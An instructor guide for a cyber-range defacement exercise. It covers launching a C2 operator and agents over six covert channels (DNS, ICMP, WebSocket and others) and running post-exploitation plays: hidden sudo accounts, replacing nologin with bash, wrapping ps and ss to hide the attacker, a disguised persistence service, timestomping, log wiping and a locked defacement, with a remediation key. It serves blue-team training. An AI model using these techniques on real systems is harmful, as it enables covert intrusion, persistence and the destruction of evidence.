

Range Bench

Instructor usage guide. One operator on the attacker, one agent on each guest, six readable channels, and a class that runs for days. The VMs are wiped and rebuilt between classes. Nothing in this lab expires on a clock.

Work top to bottom. Each figure is the screen you should be looking at. The token in the pictures is an example. Click **Generate** and use yours.

Do not hand this to the class. The remediation, the plays, and the debrief numbers stay on your side of the room. Project only the sentence in the deface step.

Before you open it

- An isolated lab. Students should treat `10.50.0.0/24` as the public side. There is no internet.
- An Ubuntu attacker the guests can reach.
- Debian 12, Debian 9 at `172.24.19.44`, Windows 10, and the VYOS routers in the roster.
- Python 3.5 or newer on the attacker and on Linux guests. No packages.
- Windows can stay on stock PowerShell 5.1 for TCP, HTTP, and WebSocket.

The order

1. Open Range Bench from the repository root. The kit is already in the repo.
2. Copy kit to the attacker. Self-test, then start the operator and leave it open.
3. Start one agent per guest. Open the master. Install your key. It asks once per hop.
4. Watch from a second terminal. Work one agent at a time in the first.
5. Deface when you mean to. Say the brief. Do not paste the fix.

Start here

The repository is two things. Range Bench is this page. The kit is the folder named `kit`. That folder is what you copy onto the lab. **Download kit** only zips it. If you cloned the repository, you already have it, and you can skip the button.

Open the page

On your laptop, in the folder that contains `package.json`. That is the clone itself, not `kit`. `node -v` must print `v22`. An older Node stops at once with `Unexpected token { in with-app-env.mjs`. Do not install Ubuntu's `nodejs` package. It is that older Node. Guests do not need Node 22. Only this laptop does.

```
unset TAR_OPTIONS
curl -fL -o /tmp/node22.tar.gz https://nodejs.org/dist/v22.23.3/node-v22.23.3-linux-x64.tar.gz
mkdir -p "$HOME/.local/node22"
tar -xzf /tmp/node22.tar.gz -C "$HOME/.local/node22" --strip-components=1
export PATH="$HOME/.local/node22/bin:$PATH"
node -v
```

Skip that block when `node -v` is already `v22`. Then:

```
npm install
npm run dev
```

Open `http://localhost:8080`. Leave that terminal running. The page does not connect to the lab. It writes the commands you paste. It does not need an account. This browser remembers the last values.

The screens in the rest of this guide are that page. The token in the pictures is an example. Click **Generate** and use yours.

1. The kit

Copy the `kit` folder onto the attacker. On the attacker the folder can be named `range-lab`. The name does not matter. Or use the gold **Download kit** button. The zip unpacks to `range-lab`, which is the same four files.

ISOLATED LAB ONLY

Range Bench

One operator on the attacker VM, one agent on each student guest. Six readable callback channels, the same live shell, and a deface that also locks the page.

 **Download kit**

SCREEN — TOP OF RANGE BENCH

Download kit. Copy that folder onto the attacker. Copy `range.py` onto each Linux guest, and `range-agent.ps1` onto Windows when the channel is TCP, HTTP, or WebSocket.

File	Where it goes
<code>range.py</code>	Attacker, every Linux guest, and any Windows guest that will use DNS, MQTT, or ICMP.
<code>range-agent.ps1</code>	Windows 10 with no Python. TCP, HTTP, and WebSocket only.
<code>range.json.example</code>	Optional. Same settings as the form, if you would rather pass <code>--config</code> .
<code>README.md</code>	The same facts as this guide, without the screens. Keep it on the attacker.

Do not edit the scripts to change ports, the token, or an address. Those live in the commands this page builds. A later class keeps the same file. The rebuild wipes the guests.

2. Set the lab

Lab settings is the left card. What you type is written into the three commands on the right. This browser remembers the last values.

Lab settings

Attacker address

10.0.0.10

Lab token Generate

KKhTLAJ9LgFFawQyUbNhhisB

Linux agent id Windows agent id

web-nginx

win-82

Timing

Continuous — stays up for the class ▼

Continuous is the attacker for the whole exercise. TCP, WebSocket, and MQTT stay connected, so there is no poll clock. HTTP, DNS, and ICMP have to ask, about once a second, or a command cannot land. Off stops that beacon. Those three look again in about half an hour, which is how **profile continuous** gets through without a login.

Ports

Class ports
443, 80, 53

No sudo bind
8443, 8088, 5353

TCP	HTTP	DNS
443	80	53
MQTT	WebSocket	DNS zone
1883	8070	lab

Web root override

blank = autodetect per guest

SCREEN — LAB SETTINGS

Attacker address, generated token, one id per guest OS, continuous timing, class ports, zone lab. Leave the web root blank unless every target uses the same directory.

Attacker address. The address the guests will call. Not a public address.

Lab token. Generate writes 24 characters into the field and into every command. The agent refuses fewer than 8. Frames are signed, not encrypted. After a short decode, Wireshark can read them. A student who decodes a frame can see that a tag is present. They do not see the token.

Linux agent id and **Windows agent id.** One id per VM. play will not guess when more than one agent is up.

Web root override. Leave it blank for a mixed class. Each guest finds its own web root.

Timing

This is a multi-day exercise, not a one-minute demo. The menu is **Continuous** or **Off**.

Timing

Continuous — stays up for the class

Continuous is the attacker for the whole exercise. TCP, WebSocket, and MQTT stay connected, so there is no poll clock. HTTP, DNS, and ICMP have to ask, about once a second, or a command cannot land. Off stops that beacon. Those three look again in about half an hour, which is how **profile continuous** gets through without a login.

SCREEN — CONTINUOUS

The attacker stays up for the class. TCP, WebSocket, and MQTT stay connected, so there is no poll clock. HTTP, DNS, and ICMP have to ask, about once a second, or a command cannot land.

Timing

Off — no beacon until you turn it back on

Continuous is the attacker for the whole exercise. TCP, WebSocket, and MQTT stay connected, so there is no poll clock. HTTP, DNS, and ICMP have to ask, about once a second, or a command cannot land. Off stops that beacon. Those three look again in about half an hour, which is how **profile continuous** gets through without a login.

SCREEN — OFF

The beacon stops. HTTP, DNS, and ICMP look again in about half an hour, which is how **profile continuous** gets through without a login. TCP, WebSocket, and MQTT stay connected and just go quiet.

From the operator console, `profile continuous` or `profile off` switches a running agent. On the guest command, `continuous` shows up as `--profile continuous` and `-Timing continuous`. The operator command has no timing flag. `live` is accepted and means `continuous`. `hunt` is the old short jitter. Do not use it for this class.

Ports

Ports

Class ports
443, 80, 53

No sudo bind
8443, 8088, 5353

TCP	HTTP	DNS
443	80	53
MQTT	WebSocket	DNS zone
1883	8070	lab

CLASS PORTS
443, 80, 53. The operator needs sudo.

Ports

Class ports
443, 80, 53

No sudo bind
8443, 8088, 5353

TCP	HTTP	DNS
8443	8088	5353
MQTT	WebSocket	DNS zone
1883	8070	lab

NO SUDO BIND
8443, 8088, 5353. MQTT stays 1883. WebSocket stays 8070.

ICMP still needs root on the operator. The Linux file lock still needs root on the agent. Pick the preset before you copy. The buttons rewrite the port fields, and the commands rewrite with them.

3. Choose the channel

The six buttons sit under the commands. The one with the gold outline is the channel written into the guest commands. Two guests can use different channels. Change the button, then copy again.

Channel the class will see

TCPHTTPDNSMQTTWebSocketICMP

WebSocket

One HTTP upgrade to /notifications, then quiet text frames. Students who only look at HTTP objects see a single request.

WIRESHARK

websocket

SHAPE, NOT A CAPTURE

GET /notifications HTTP/1.1
Upgrade: websocket

SCREEN — CHANNEL PICKER

WebSocket is the default. One HTTP upgrade to /notifications, then short text frames. The filter under the buttons is what you hand the class for that channel.

Channel	Wireshark	Where the tasking sits	Windows
TCP	tcp.port == 443 && !tls	One base64 line each way. Port 443 with no Client Hello.	PowerShell
HTTP	http.request.uri contains "/debian/dists" or "/ocsp/"	A long hex MD5Sum, or an OCSP Nonce that grew.	PowerShell
DNS	dns.qry.name contains ".lab" && dns.qry.type == 16	TXT or query labels, hex, aimed at you. Not the lab resolver.	Python
MQTT	mqtt	Topics lab//in and out. Payload is base64.	Python
WebSocket	websocket	Upgrade to /notifications, then text frames.	PowerShell
ICMP	icmp && data.len > 32	Echo data is base64. Linux only. Ordinary pings to the attacker stop while the operator has ICMP open.	Not available

If the channel is DNS, MQTT, or ICMP, the Windows card drops range-agent.ps1 and tells you to use range.py. ICMP still cannot run on Windows.

4. Copy the three commands

Read the hint, then **Copy**. If you change the token, the channel, the timing, or a port after copying, copy again.

Attacker

 Copy

Ubuntu operator. sudo is required for ports under 1024 and for ICMP.

```
sudo python3 range.py operator --token 'KKhTLAJ9LgFFaWQyUbNhhisB' --bind
0.0.0.0 --tcp-port 443 --http-port 80 --dns-port 53 --mqtt-port 1883 --ws-
port 8070 --zone lab --attacker '10.0.0.10'
```

Linux guest

 Copy

Debian 9 or 12. sudo so the immutable flag can be set. Python 3.5 or newer, no packages.

```
sudo python3 range.py agent --c2 10.0.0.10 --channel ws --token
'KKhTLAJ9LgFFaWQyUbNhhisB' --id web-nginx --profile continuous --tcp-port
443 --http-port 80 --dns-port 53 --mqtt-port 1883 --ws-port 8070 --zone
lab
```

Windows 10 guest

 Copy

Stock PowerShell 5.1. Elevate the prompt if you want the ACL lock. The switch is -Timing, not -Profile.

```
powershell -NoProfile -ExecutionPolicy Bypass -File .\range-agent.ps1 -C2
10.0.0.10 -Channel ws -Token 'KKhTLAJ9LgFFaWQyUbNhhisB' -Id win-82 -Timing
continuous -TcpPort 443 -HttpPort 80 -WsPort 8070
```

SCREEN — THE THREE COMMANDS

Attacker on top, then the Linux guest, then Windows. Linux uses --profile. Windows uses -Timing, because \$PROFILE is reserved. Both should say continuous unless you chose Off.

Token mismatch, a firewall, or the wrong port all look the same. The agent never appears in sessions. Check the address, the token, and the port before you change anything else.

5. Prove the attacker, then start the guests

On the attacker, in range-lab, before anyone is watching:

```
python3 range.py selftest
```

PASS tcp,http,dns,mqtt,ws means those five channels round-tripped a deface and a restore on loopback.

The command then exits. It does not start the operator, and it does not listen. ICMP is skipped unless that shell can open a raw socket. Do not start class if the line is not PASS.

The operator is the Attacker command from the page. Run it in that same folder and leave the window open. It does not return to a prompt. That window is the console. sessions stays empty until a guest calls in.

```
sudo python3 range.py operator --token 'lab-token-change-me' --bind 0.0.0.0 \
--tcp-port 443 --http-port 80 --dns-port 53 --mqtt-port 1883 --ws-port 8070 --zone lab
```

Use the token and the attacker address from the page, not the example, if you changed them. Ports 443, 80, and 53 are why this needs sudo.

1. Start the operator with the Attacker command. Leave it in the foreground.
2. On each Linux guest, as root, run the Linux command. Change --id so every VM is unique. Debian 9 at 172.24.19.44 gets its own id.
3. On Windows, run the Windows command from the folder that contains range-agent.ps1. Elevate it if you want the ACL lock.
4. On the operator: sessions, then use the guest you are about to touch.

```
sessions
use web-nginx
id
```

sessions lists agents that have called in. A TCP, WebSocket, or MQTT session stays listed for as long as the socket is up. It does not age out. Anything that is not a built-in command is sent to the selected agent. Linux runs bash. Windows runs PowerShell. cd sticks.

6. Open the path, then install your key

Download path files writes `range-ssh.conf` and `range-hosts.json` next to where you save them. Put them in `range-lab`. The WAN router's last two octets change. Its SSH port stays 20222. Hosts on `172.24.0.0/24` stay on port 22.

Open the master

Type the jump passwords once. The socket stays up until you close it or the class is rebuilt. It does not expire.

 Copy

```
ssh -F range-ssh.conf lab-wan
```

Install your key

Copies the public key on this account to every jump, both routers, and every host. Each one asks once. After that, this class does not ask again. A rebuilt VM needs it once more.

 Copy

```
python3 range.py keys --hosts range-hosts.json --ssh-config range-ssh.conf
```

ICMP

Runs ping on the WAN router, which can actually reach the lab. A laptop ping still will not cross the jump.

 Copy

```
python3 range.py ping --ssh-config range-ssh.conf 172.24.10.180
```

One command, every host

Routers included. The WAN hop is the path, not a target.

 Copy

```
python3 range.py fanout --hosts range-hosts.json --ssh-config range-ssh.conf --cmd 'hostname; who'
```

SCREEN — PATH CARDS

Open the master once. Install your key once. Later commands reuse the socket and do not ask for a password. The socket stays up until you close it or the class is rebuilt.

```
ssh -F range-ssh.conf lab-wan
python3 range.py keys --hosts range-hosts.json --ssh-config range-ssh.conf
```

`keys` uses the public key already on that account, or creates `~/.ssh/range_lab` if there is none. It copies the key to both jumps, the WAN router, both LAN routers, and every host. Each one asks once. A rebuilt VM needs it once more. The same address is only done once.

ICMP from your laptop will not cross the jump. The ping card runs `ping` on the WAN router, which can reach the lab. Fanout runs one command on every focused host, including the LAN routers. The WAN hop is the path, not a target.

Roster

The roster is the list those commands use. Focus stays off on the WAN router. It stays on for everyone you want fanout and watch to touch.

Roster

Name	OS	Address	Port	SSH user	
wan	VYOS	10.50.160.129	20222	atropia_admin	☐ Fanout
Last two octets change. Router port stays 20222. This hop is the path, not a fanout target.					
lan	VYOS	172.24.18.1	20222	atropia_admin	☒ Fanout
lan2	VYOS	172.24.2.4	20222	atropia_admin	☒ Fanout
win-82	Windows 10	172.24.18.82	22	defender	☒ Fanout
deb-68	Debian 12	172.24.18.68	22	root	☒ Fanout
deb-150	Debian 12	172.24.10.150	22	root	☒ Fanout
web-nginx	Debian 12	172.24.10.180	22	root	☒ Fanout
NGINX defacement					
deb9-44	Debian 9	172.24.19.44	22	root	☒ Fanout
Debian 9					
deb-22	Debian 12	172.24.22.19	22	root	☒ Fanout

SCREEN — ROSTER

Debian 9 is 172.24.19.44, not a second copy of 172.24.10.150. Debian 12 at 172.24.10.150 is a different host. NGINX, the defacement target, is 172.24.10.180.

Name	Role	Address	Port
wan	VYOS, path only	10.50.160.129	20222
lan	VYOS	172.24.18.1	20222
lan2	VYOS	172.24.2.4	20222
win-82	Windows 10	172.24.18.82	22
deb-68	Debian 12	172.24.18.68	22
deb-150	Debian 12	172.24.10.150	22
web-nginx	Debian 12, NGINX	172.24.10.180	22
deb9-44	Debian 9	172.24.19.44	22
deb-22	Debian 12	172.24.22.19	22

If this browser still shows Debian 9 on 172.24.10.150, reload the page. A saved roster with that old duplicate is rewritten to 172.24.19.44.

7. Watch the class

Run this in a second terminal, after the master is open. It holds an SSH socket to every focused host and both LAN routers, then prints who is logged in and the last lines of the student history. Same output is marked unchanged. Ctrl-C stops the printing. The sockets stay.

Watch the class

[Copy](#)

Opens an SSH socket to every focused host and both LAN routers, then keeps them. Every few seconds it prints who is logged in and the last lines of the student history. Same output is marked unchanged. Ctrl-C stops the printing. The sockets stay. Agents are separate: sessions in the operator only lists hosts where a callback is running.

```
python3 range.py watch --hosts range-hosts.json --ssh-config range-ssh.conf --student defender
```

SCREEN — WATCH

This is not the callback list. sessions in the operator only lists hosts where an agent is running. Watch is how you see the students move, including on a router that has no agent.

```
python3 range.py watch --hosts range-hosts.json --ssh-config range-ssh.conf --student defender
```

8. On the host

Select one agent first. These plays run through the callback. On Linux, the agent should be root. The student stays defender until you move to a service account. The Linux password is printed on your console and is not inside the tasking. The shadow file gets the hash.

On the host, after the agent is up

These run through the callback, as root on Linux. The student stays **defender**. You move to a service account once they find the first one. The Linux account password is printed on your console and is not inside the tasking. The shadow file gets the hash. Windows **net user** cannot take a hash, so that password does travel in the clear. Prefer the Linux account when the class is decoding live.

Student	Service account	Login shell	wall -n
defender	mail	vi	The page changed. The process

What you type

[Copy](#)

One agent selected. history shows what they are hunting. shell is usermod -s. cloak copies bash over false and nologin. veil wraps ps, ss, netstat, w, and who. htop, top, and last stay unwrapped. stamp is touch -r against /bin/lis. boot logs the student off. play logs zeroes auth, syslog, nginx, wtmp, and the journal, and leaves bash history. tty is a real terminal, so nano works there. Ctrl-] leaves it. get and put move one file if you would rather edit it on this machine.

```
use web-nginx
play history defender
play account mail
play shell defender vi
play wall The page changed. The process list is the wrong tool.
play cloak
play veil mail
play persist
play stamp
play boot defender
play logs
tty
get /etc/hostname ./hostname.txt
put ./hostname.txt /tmp/hostname.txt
play deface
```

SCREEN — PLAYS

The block under the fields is what you paste into the operator, one agent selected. Delete any line you are not using this class.

Command	What it leaves
<code>play history defender</code>	The last lines of their shell history, and the lines that look like hunting.
<code>play account mail</code>	A service account that can log in, in the sudo group. Also games, news, or backup.
<code>play shell defender vi</code>	Their login shell becomes vi, python, or perl. bash puts it back.
<code>play wall ...</code>	<code>wall -n</code> . No banner.
<code>play cloak</code>	<code>/bin/false</code> and <code>/usr/sbin/nologin</code> are copies of bash. Originals are kept.
<code>play veil mail</code>	<code>ps</code> , <code>ss</code> , <code>netstat</code> , <code>w</code> , and <code>who</code> hide your address, ports, and that account. <code>htop</code> , <code>top</code> , and <code>last</code> are not wrapped.
<code>play persist</code>	<code>mailq-local.service</code> , with a cron line if systemd will not take it.
<code>play stamp</code>	<code>touch -r</code> so a lab file matches a system file.
<code>play boot defender</code>	Logs that user off. Your agent, if it is not that user, stays.
<code>play logs</code>	<code>auth</code> , <code>syslog</code> , <code>nginx</code> , <code>apache</code> , <code>wtmp</code> , and the journal are emptied. Bash history is left. <code>play logs all</code> wipes that too. An empty log is the point.

`play unpersist`, `play uncloak`, and `play unveil` put those three back. Shell, cloak, and veil are Linux. Windows can do history, wall, account, boot, and logs.

9. A terminal, a file, and the logs

`shell` is one command at a time. The directory sticks. `nano` will refuse it, because there is no terminal.

`tty` opens a real bash on the Linux guest and draws it on your console. `nano` and `vi` work. `Ctrl-J` detaches and stops that shell. `Ctrl-C` goes to the guest, not to Range. Use it on TCP, WebSocket, or MQTT. DNS, HTTP, and ICMP will redraw, slowly. The Windows agent has no terminal.

```
get /var/www/html/index.html ./index.html
put ./index.html /var/www/html/index.html
```

Edit the copy on the attacker, then put it back. `put` clears the immutable bit first. Keep a large file on TCP, WebSocket, or MQTT.

```
play logs
play logs all
```

`play logs` leaves the files in place and zeroed. Empty is the signal you want them to notice. History stays, so you can still read what they hunted. `all` wipes that too. On Windows it clears Application, System, Security, and PowerShell.

10. Run the deface

Wait until `sessions` shows the guest. Select the NGINX host. Run the play. If you uploaded a page, that file is what they see. If you did not, the heading is **Defaced**. Linux then sets the immutable attribute. Windows sets read-only, and a write deny.

🔒 Deface and lock

After `sessions` shows the guest, select it and run the play. The page heading becomes whatever your file says, or Defaced if you did not upload one. Linux then sets the immutable attribute. Windows sets read-only and a write deny. Say the brief out loud. Do not paste the fix into the guest.

index.html

Image next to the page

Choose File

No file chosen

Choose File

No file chosen

What you say

Safe to project.

Copy

A site you control has changed. Capture the traffic, find the callback, and put the page back. If the editor will not save, that problem is on the host.

What you type

One agent selected. If that guest is off, profile continuous first. HTTP, DNS, and ICMP hear that on the next quiet check.

Copy

use web-nginx
play deface

What “done” looks like for them

1. The page and its mtime changed, and it was not an SSH session.
2. The callback is one of the six patterns, with the command in hex or base64 inside a field that is the wrong size.
3. The file itself is locked. Removing the callback process does not unlock it.
4. The agent is still running, named `range.py` or `range-agent.ps1`. Stopping it is a separate step from restoring the page.

► Instructor key — remediation

SCREEN — DEFACE AND LOCK

Upload your own `index.html` and image if you have them. The sentence on the left is safe to project. The instructor key stays collapsed.

A site you control has changed. Capture the traffic, find the callback, and put the page back. If the editor will not save, that problem is on the host.

```
use web-nginx  
play deface
```

The play looks for `/var/www/html`, an nginx root, `/var/www`, `/srv/www/htdocs`, or `C:\inetpub\wwwroot`. A copy of the previous page is kept outside the site, under `/root/.range-lab/` for a root agent, or `C:\ProgramData\RangeLab\` on Windows. `play deface nobackup` does not leave that copy.

What you want them to notice, in order: the page and its time changed, and it was not an SSH session. On the wire, one of the six patterns, with the command in base64 or hex inside a field that is the wrong size. On the host, the file is locked. Stopping the callback does not unlock it. The agent is still running.

If that guest is Off, run `profile continuous` first. On HTTP, DNS, or ICMP that lands at the next quiet check, about half an hour. On TCP, WebSocket, or MQTT it lands immediately. Prefer one of those three for the deface.

11. If the room is stuck

Open **Instructor key — remediation**. It is collapsed so it is not on screen while you are projecting the brief. Do not paste these into a guest the class is working on.

▼ Instructor key — remediation

Linux: `lsattr index.html` shows `i`. `chattr -i index.html`, then restore from their own copy or rewrite the page. If you kept a backup it is in the agent user's `~/ .range-lab/index.html.orig` (root: `/root/.range-lab`).

Windows: `attrib` shows `R`, `icacls` shows a deny for Everyone (`S-1-1-0`). `attrib -R`, then `icacls index.html /remove:d *S-1-1-0`. Backup, if you kept one: `C:\ProgramData\RangeLab\index.html.orig`.

`play undo` does both steps for you when the room is stuck. `play deface nobackup` leaves no side copy. `IMMUTABLE=failed` means that guest is not `ext4` or the agent is not root — the page still changes, the lock does not.

SCREEN — INSTRUCTOR KEY

Linux is an `ext4` immutable flag, not a read-only bit. Windows is the read-only attribute plus a deny ACE. `play undo` does both, and restores the kept copy.

Linux

```
lsattr index.html
chattr -i index.html
```

Editing a locked page returns “Operation not permitted”. `IMMUTABLE=failed` means that guest is not `ext4`, or the agent is not root. The page still changes. The lock does not.

Windows

```
attrib -R index.html
icacls index.html /remove:d *S-1-1-0
```

The deny needs an elevated agent. `play undo` removes the deny and the read-only bit, then puts the copy back.

What else may still be yours

- Callback: `ss`, `htop`, or the journal. Not only `ps`, if `veil` is on.
- Extra `sudo` user: `getent passwd`, the `sudo` group, and the shadow file. A service name that can log in is still a user.
- Shell swap: `getent passwd defender`. The shell is `vi`, `python`, or `perl`.

- nologin is bash: md5sum against a clean host, not the name of the file.
- Wrapped tools: file or a known hash of ps, ss, netstat, w, and who.
- Empty logs: the file is there and has nothing in it. That is the indicator.
- Persistence: systemctl status mailq-local and crontab -l.
- Timestamps: compare the lab file to a system file. Do not trust the clock.

The end-of-class brief is a separate deck, DCO-Attacker-Debrief.pptx. Fill the X values from sessions and from watch before you stand up. The score is what you still had: callbacks, users, connections, and sudo or admin, with the addresses in that deck. Debian 9 in that list is 172.24.19.44.